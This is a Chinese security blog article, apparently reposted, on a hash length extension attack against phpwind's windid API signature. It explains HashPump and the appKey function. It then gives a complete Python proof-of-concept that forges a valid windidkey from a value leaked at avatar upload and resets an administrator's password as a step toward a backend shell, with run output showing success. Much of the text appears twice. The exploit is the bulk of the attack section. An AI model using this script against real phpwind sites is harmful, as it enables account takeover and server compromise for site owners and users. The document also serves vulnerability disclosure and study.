Web安全
首页 > 安全文摘 > Web安全> 正文

phpwind利用hash长度扩展攻击修改后台密码getshell

作者:blackhold
2016-08-01 01:05:46
次阅读
来源:http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-

哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。

文章目录

    1 哈希长度扩展攻击
    1.1 简介
    1.2 利用
    2 phpwind利用点分析
    3 利用POC

1 哈希长度扩展攻击
1.1 简介

哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。哈希值基本表示如下H(密钥||消息),即知道了哈希值和密钥的长度,可以推出H(密钥||消息||padding||append)的哈希值,padding是要填充的字段,append则是要附加的消息。其实如果不知道密钥长度,可通过暴力猜解得到,已知的有长度扩展攻击缺陷的函数有MD5,SHA-1,SHA-256等等,详细的攻击原理可参考

Everything you need to know about hash length extension attacks
1.2 利用

这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。

安装:pip install hashpumpy

[email protected]:~/python# hashpump --help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
 HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
 -h --help          Display this message.
 -t --test          Run tests to verify each algorithm is operating properly.
 -s --signature     The signature from known message.
 -d --data          The data from the known message.
 -a --additional    The information you would like to add to the known message.
 -k --keylength     The length in bytes of the key being used to sign the original message with.
 Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
 <Developed by bwall(@botnet_hunter)>

 -s参数对应的就是H(密钥||消息)中的哈希值,-d参数对应着消息,-k参数对应着密钥的长度,-a则是要附加的消息。

  [email protected]:~/python# hashpump -s "ebfe0fff1806cfe6186c6a0b172e8148"
  -d "1465895192adoAvatarcavatarmapitypeflashuid2uidundefined" -k 32 -a
   namespacesiteaeditUsercusermapipasswordGongFang9uid1
   4daee9a61955a1c17319f4c1664d11df
   1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\
     x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
     x00\xb8\x02\x00\x00\x00\x00\x00   
   \x00namespacesiteaeditUsercusermapipasswordGongFang9uid1
    
[email protected]:~/python# hashpump --help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
 HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
 -h --help          Display this message.
 -t --test          Run tests to verify each algorithm is operating properly.
 -s --signature     The signature from known message.
 -d --data          The data from the known message.
 -a --additional    The information you would like to add to the known message.
 -k --keylength     The length in bytes of the key being used to sign the original message with.
 Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
 <Developed by bwall(@botnet_hunter)>
 
 -s参数对应的就是H(密钥||消息)中的哈希值,-d参数对应着消息,-k参数对应着密钥的长度,-a则是要附加的消息。
 
  [email protected]:~/python# hashpump -s "ebfe0fff1806cfe6186c6a0b172e8148"
  -d "1465895192adoAvatarcavatarmapitypeflashuid2uidundefined" -k 32 -a
   namespacesiteaeditUsercusermapipasswordGongFang9uid1
   4daee9a61955a1c17319f4c1664d11df
   1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\
     x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
     x00\xb8\x02\x00\x00\x00\x00\x00   
   \x00namespacesiteaeditUsercusermapipasswordGongFang9uid1
 

最后提供一个哈希扩展攻击在线工具:http://sakurity.com/lengthextension,需要注意的长度是密钥+消息的总长度,详情见图:

2 phpwind利用点分析

phpwind会在每次请求的时候校验密钥,具体的对应函数如下:

public  function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    $charset = 'utf-8';
    $_windidkey = $this->getInput('windidkey', 'get');
    $_time = (int)$this->getInput('time', 'get');
    $_clientid = (int)$this->getInput('clientid', 'get');
    if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
    $clent = $this->_getAppDs()->getApp($_clientid);
    if (!$clent) $this->output(WindidError::FAIL);
    if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null),
               $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);

    $time = Pw::getTime();
    if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
    $this->appid = $_clientid;
}
    
phpwind会在每次请求的时候校验密钥,具体的对应函数如下:
 
public  function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    $charset = 'utf-8';
    $_windidkey = $this->getInput('windidkey', 'get');
    $_time = (int)$this->getInput('time', 'get');
    $_clientid = (int)$this->getInput('clientid', 'get');
    if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
    $clent = $this->_getAppDs()->getApp($_clientid);
    if (!$clent) $this->output(WindidError::FAIL);
    if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null),
               $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);
 
    $time = Pw::getTime();
    if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
    $this->appid = $_clientid;
}
 

在这个函数中会提取windidkey,并且和WindidUtility::appKey生成的结果做对比,不同则退出,如过相同继续判断时间是否超时,超时也退出,appKey的实现如下:

public static function appKey($apiId, $time, $secretkey, $get, $post) {
    // 注意这里需要加上__data,因为下面的buildRequest()里加了。
    $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
                   'Filename', 'Upload', 'token', '__data');
    $str = '';
    ksort($get);
    ksort($post);
    foreach ($get AS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    foreach ($post AS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    return md5(md5($apiId.'||'.$secretkey).$time.$str);
}
    
public static function appKey($apiId, $time, $secretkey, $get, $post) {
    // 注意这里需要加上__data,因为下面的buildRequest()里加了。
    $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
                   'Filename', 'Upload', 'token', '__data');
    $str = '';
    ksort($get);
    ksort($post);
    foreach ($get AS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    foreach ($post AS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    return md5(md5($apiId.'||'.$secretkey).$time.$str);
}
 
在函数中md5(md5($apiId.'||'.$secretkey).$time.$str)的值是知道的,即windidkey,这个值在用户上传头像处泄露,md5($apiId.'||'.$secretkey)的长度是知道的,32bit,$time.$str参数是用户可控的,那么就满足了哈希扩展长度攻击,下面我们看下用户上传头像处的请求,右键查看源代码找到如下请求:

 http://192.168.3.106/windid/index.php?  
  m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&
  clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504
    
 http://192.168.3.106/windid/index.php?  
  m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&
  clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504
 

接着看实际构造的appKey的参数效果,这个可以根据trace的结果直接给出,具体如下:

  md5
  ('520a1e355b8cfc82e56ae578176d7f101465977216adoAvatarcavatarmapitypeflashuid2uidundefined')
  /var/www/html/src/windid/service/base/WindidUtility.php:54

 `md5($apiId.'||'.$secretkey)`的值为`520a1e355b8cfc82e56ae578176d7f10`,`$time`为`1465977216`,`$str`为 `adoAvatarcavatarmapitypeflashuid2uidundefined`,从appKey函数的实现来看,$str就是get,post请求进行取舍排序得到的。有了这个基础,根据hashpump公式,在post请求中加入我们的参数,并计算出合适的windidkey值,提交请求,就可达到目的。
    
  md5
  ('520a1e355b8cfc82e56ae578176d7f101465977216adoAvatarcavatarmapitypeflashuid2uidundefined')
  /var/www/html/src/windid/service/base/WindidUtility.php:54
 
 `md5($apiId.'||'.$secretkey)`的值为`520a1e355b8cfc82e56ae578176d7f10`,`$time`为`1465977216`,`$str`为 `adoAvatarcavatarmapitypeflashuid2uidundefined`,从appKey函数的实现来看,$str就是get,post请求进行取舍排序得到的。有了这个基础,根据hashpump公式,在post请求中加入我们的参数,并计算出合适的windidkey值,提交请求,就可达到目的。
 

3 利用POC

可利用如下的代码构造post请求,修改某uid用户的密码。如果修改的是管理员的密码,并且这管理员有相应的后台权限,那么我们就可以在后台getshell,利用脚本如下:

#!env python
# coding=utf-8
import hashpumpy
import urllib
import urlparse
import urllib2
import requests

def md5hack(md5, ori_str, append, security_len):
md5, message = hashpumpy.hashpump(md5, ori_str,append, security_len)
quoted_message = urllib.quote(message)
print 'md5 after hash length attacked:',md5
print 'message:',message
print 'quote message:',quoted_message
return (md5,quoted_message)

def modify_passwd(ip, uid, target_uid, windidkey, padding, time, password="GongFang9"):
"""修改后台管理员的密码"""
target_uid = target_uid #uid是后台管理的uid参数
host = "http://" + ip
data = "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid, password)
url = "{0}/windid/index.php?windidkey={1}&adoAvatarcavatarmapitypeflashuid{2}uidundefined={3}&clientid=1&time={4}&namespace=site".format(host,windidkey,uid,padding,time)
print 'url:',url
print 'data:',data
r = requests.post(url,data=data)
#r = requests.post(url,data=data,headers=headers)
print r.text
if r.text.strip() == "1":
    print 'modify password Succeed'
else:
    print 'failed'

if __name__ == "__main__":
"""点开用户头像上传处,右键查看源码,搜索windidkey,拷贝含flash字段的那个request作为r参数"""
r = """http%3A%2F%2F192.168.3.106%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D5%26windidkey%3D1eb5af71d002ac89e22c0

170806b0fe8%26time%3D1466416702%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F192.168.3.106%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F5.jpg%3Fr%3D78057"""

request = urlparse.urlparse(urllib.unquote(r))
querys = [item for item in request.query.split("&")]
query_dict = {item.split("=")[0]:item.split("=")[1] for item in querys}

ori_md5 = query_dict.get("windidkey")
time = query_dict.get('time')
uid = query_dict.get('uid')

ori_str = "{0}adoAvatarcavatarmapitypeflashuid{1}uidundefined".format(time,uid)
password = "tangTest3"
ip = "192.168.3.173"
ip = "192.168.3.106"
target_uid = 3

post_append= "a=getConfig&c=config&m=api&id=1"
post_append= "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid,password)
post = "".join(sorted([item.replace("=","") for item in post_append.split("&")]))

security = "d2edc0a3340df65cb66387464f3adfc1"
ori_str = "1465784719adoAvatarcavatarmapitypeflashuid2uidundefined"
security_len = 32#phpwind计算windidkey 公式md5(md5($apiId.'||'.$secretkey).$time.$str),md5值的长度是32
print 'hashmd5:',ori_md5
print 'security len:', security_len
print 'ori_str', ori_str
append = 'agetcappid1mapi'
append = "namespacesite" + post
print 'post',append
(md5,quoted_message) = md5hack(ori_md5, ori_str, append, security_len)
padding = quoted_message[quoted_message.index("%"):quoted_message.rindex("%")+3]

modify_passwd(ip, uid, target_uid, md5, padding, time, password)
    
#!env python
# coding=utf-8
import hashpumpy
import urllib
import urlparse
import urllib2
import requests
 
def md5hack(md5, ori_str, append, security_len):
md5, message = hashpumpy.hashpump(md5, ori_str,append, security_len)
quoted_message = urllib.quote(message)
print 'md5 after hash length attacked:',md5
print 'message:',message
print 'quote message:',quoted_message
return (md5,quoted_message)
 
def modify_passwd(ip, uid, target_uid, windidkey, padding, time, password="GongFang9"):
"""修改后台管理员的密码"""
target_uid = target_uid #uid是后台管理的uid参数
host = "http://" + ip
data = "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid, password)
url = "{0}/windid/index.php?windidkey={1}&adoAvatarcavatarmapitypeflashuid{2}uidundefined={3}&clientid=1&time={4}&namespace=site".format(host,windidkey,uid,padding,time)
print 'url:',url
print 'data:',data
r = requests.post(url,data=data)
#r = requests.post(url,data=data,headers=headers)
print r.text
if r.text.strip() == "1":
    print 'modify password Succeed'
else:
    print 'failed'
 
if __name__ == "__main__":
"""点开用户头像上传处,右键查看源码,搜索windidkey,拷贝含flash字段的那个request作为r参数"""
r = """http%3A%2F%2F192.168.3.106%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D5%26windidkey%3D1eb5af71d0

02ac89e22c0170806b0fe8%26time%3D1466416702%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F192.168.3.106%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F5.jpg%3Fr%3D78057"""
 
request = urlparse.urlparse(urllib.unquote(r))
querys = [item for item in request.query.split("&")]
query_dict = {item.split("=")[0]:item.split("=")[1] for item in querys}
 
ori_md5 = query_dict.get("windidkey")
time = query_dict.get('time')
uid = query_dict.get('uid')
 
ori_str = "{0}adoAvatarcavatarmapitypeflashuid{1}uidundefined".format(time,uid)
password = "tangTest3"
ip = "192.168.3.173"
ip = "192.168.3.106"
target_uid = 3
 
post_append= "a=getConfig&c=config&m=api&id=1"
post_append= "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid,password)
post = "".join(sorted([item.replace("=","") for item in post_append.split("&")]))
 
security = "d2edc0a3340df65cb66387464f3adfc1"
ori_str = "1465784719adoAvatarcavatarmapitypeflashuid2uidundefined"
security_len = 32#phpwind计算windidkey 公式md5(md5($apiId.'||'.$secretkey).$time.$str),md5值的长度是32
print 'hashmd5:',ori_md5
print 'security len:', security_len
print 'ori_str', ori_str
append = 'agetcappid1mapi'
append = "namespacesite" + post
print 'post',append
(md5,quoted_message) = md5hack(ori_md5, ori_str, append, security_len)
padding = quoted_message[quoted_message.index("%"):quoted_message.rindex("%")+3]
 
modify_passwd(ip, uid, target_uid, md5, padding, time, password)
 

运行之后得到

[email protected]:~/python# python md5hack.py
hashmd5: 4d8971d0d2556d5dcbeb3b0f10e41429
security len: 32
ori_str 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined
post namespacesiteaeditUsercusermapipasswordtangTest3uid3
md5 after hash length attacked: e46e0aaddbd4e008077535a4dafab3f5
message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined▒▒namespacesiteaeditUsercusermapipasswordtangTest3uid3

quote message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00namespacesiteaeditUsercusermapipasswordtangTest3uid3
url:  http://192.168.3.173/windid/index.php?   
 windidkey=e46e0aaddbd4e008077535a4dafab3f5&adoAvatarcavatarmapitypeflashuid10uidundefined=%80%00%00%00%00%00%00%00%0

0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%
00&clientid=1&time=1466474956&namespace=site data: a=editUser&c=user&m=api&uid=3&password=tangTest3 1 modify password Succeed
    
[email protected]:~/python# python md5hack.py
hashmd5: 4d8971d0d2556d5dcbeb3b0f10e41429
security len: 32
ori_str 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined
post namespacesiteaeditUsercusermapipasswordtangTest3uid3
md5 after hash length attacked: e46e0aaddbd4e008077535a4dafab3f5
message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined▒▒namespacesiteaeditUsercusermapipasswordtangTest3uid3
 
quote message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0

0%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00namespacesiteaeditUsercusermapipasswordtangTest3uid3
url:  http://192.168.3.173/windid/index.php?   
 windidkey=e46e0aaddbd4e008077535a4dafab3f5&adoAvatarcavatarmapitypeflashuid10uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%0

0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%
00&clientid=1&time=1466474956&namespace=site data: a=editUser&c=user&m=api&uid=3&password=tangTest3 1 modify password Succeed

代码中修改uid为3的账户的密码为GongFang7,假设该用户具有后台管理员权限,进入后台getshell,具体的getshell可参考

http://www.wooyun.org/bugs/wooyun-2016-0175518

上一篇:分享插件 AddThis 导致的 DOM XSS
下一篇:利用Censys批量获取Juniper Netscreen后门

已有 条评论

推荐阅读

小组Security交流群: 199852440
关注网络攻防小组微信公众号
每日精选文章推送

新浪微博